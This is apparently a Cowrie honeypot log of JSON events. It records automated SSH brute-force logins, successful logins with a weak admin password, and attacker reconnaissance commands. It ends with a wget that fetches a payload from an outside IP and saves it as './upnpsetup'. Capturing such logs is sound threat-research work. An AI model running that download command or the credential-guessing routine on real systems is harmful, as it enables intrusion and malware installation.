{"eventid":"cowrie.login.failed","username":"admin","password":"server@2023","message":"login attempt [admin/server@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:46.614887Z","src_ip":"103.190.242.61","session":"0cecb1ba7278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:47.094504Z","src_ip":"103.190.242.61","session":"0cecb1ba7278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":56511,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2cd46ed8b60","protocol":"ssh","message":"New connection: 103.190.242.61:56511 (10.17.0.5:22) [session: c2cd46ed8b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:47.295940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:47.301193Z","src_ip":"103.190.242.61","session":"c2cd46ed8b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:47.499483Z","src_ip":"103.190.242.61","session":"c2cd46ed8b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2023","message":"login attempt [user/server@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:48.316220Z","src_ip":"103.190.242.61","session":"c2cd46ed8b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:48.797824Z","src_ip":"103.190.242.61","session":"c2cd46ed8b60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":56635,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c2c772c50b2","protocol":"ssh","message":"New connection: 103.190.242.61:56635 (10.17.0.5:22) [session: 8c2c772c50b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:48.994912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:49.000425Z","src_ip":"103.190.242.61","session":"8c2c772c50b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:49.192363Z","src_ip":"103.190.242.61","session":"8c2c772c50b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2023","message":"login attempt [user2/server@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:49.988659Z","src_ip":"103.190.242.61","session":"8c2c772c50b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:50.470152Z","src_ip":"103.190.242.61","session":"8c2c772c50b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":56760,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ef37b09d902","protocol":"ssh","message":"New connection: 103.190.242.61:56760 (10.17.0.5:22) [session: 8ef37b09d902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:50.670750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:50.675548Z","src_ip":"103.190.242.61","session":"8ef37b09d902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:50.869819Z","src_ip":"103.190.242.61","session":"8ef37b09d902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2019","message":"login attempt [root/Admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:51.677157Z","src_ip":"103.190.242.61","session":"8ef37b09d902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:52.157754Z","src_ip":"103.190.242.61","session":"8ef37b09d902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":56889,"dst_ip":"10.17.0.5","dst_port":22,"session":"868a60d79795","protocol":"ssh","message":"New connection: 103.190.242.61:56889 (10.17.0.5:22) [session: 868a60d79795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:52.362677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:52.367012Z","src_ip":"103.190.242.61","session":"868a60d79795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:52.562669Z","src_ip":"103.190.242.61","session":"868a60d79795","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin2019","message":"login attempt [admin/Admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:53.377433Z","src_ip":"103.190.242.61","session":"868a60d79795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:53.576519Z","src_ip":"103.190.242.61","session":"868a60d79795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58450,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcdcb635fc05","protocol":"telnet","message":"New connection: 137.184.155.248:58450 (10.17.0.5:23) [session: dcdcb635fc05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:53.655776Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":57004,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc049627dcb","protocol":"ssh","message":"New connection: 103.190.242.61:57004 (10.17.0.5:22) [session: dbc049627dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:53.846355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:53.851709Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:54.048657Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":35807,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d97a428b5f0","protocol":"ssh","message":"New connection: 2.57.121.25:35807 (159.203.135.109:22) [session: 4d97a428b5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:54.339431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:54.345124Z","src_ip":"2.57.121.25","session":"4d97a428b5f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:54.450456Z","src_ip":"2.57.121.25","session":"4d97a428b5f0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin2019","message":"login attempt [admin/Admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:54.865693Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"catter","message":"login attempt [user/catter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:54.949812Z","src_ip":"2.57.121.25","session":"4d97a428b5f0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:55.325597Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:55.330035Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:55.726935Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:55.981804Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname","message":"CMD: hostname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:55.986166Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"camaro1","message":"login attempt [user/camaro1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:56.096803Z","src_ip":"2.57.121.25","session":"4d97a428b5f0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","size":16,"shasum":"7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:56.379238Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:56.637554Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m&&pkill upnpsetup","message":"CMD: uname -m&&pkill upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:56.641503Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.83898138999939,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:56.953102Z","src_ip":"137.184.155.248","session":"7333440bf332","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23","size":7,"shasum":"751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:57.036063Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"calcutta","message":"login attempt [user/calcutta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:57.205135Z","src_ip":"2.57.121.25","session":"4d97a428b5f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cadman","message":"login attempt [user/cadman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:58.313144Z","src_ip":"2.57.121.25","session":"4d97a428b5f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"bushed","message":"login attempt [user/bushed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:59.421753Z","src_ip":"2.57.121.25","session":"4d97a428b5f0","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:59.987604Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:00.188798Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo pkill upnpsetup","message":"CMD: sudo pkill upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:00.192946Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9","size":0,"shasum":"ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:00.413016Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:00.532985Z","src_ip":"2.57.121.25","session":"4d97a428b5f0","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:01.274697Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:01.474019Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm ./upnpsetup","message":"CMD: rm ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:01.478031Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa","size":59,"shasum":"cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:01.913402Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:02.175478Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:02.375173Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"wget -nc http://45.87.174.8/k.php?a=x86_64,8B0OY1QOETZ99A8SH -O ./upnpsetup","message":"CMD: wget -nc http://45.87.174.8/k.php?a=x86_64,8B0OY1QOETZ99A8SH -O ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:02.379777Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
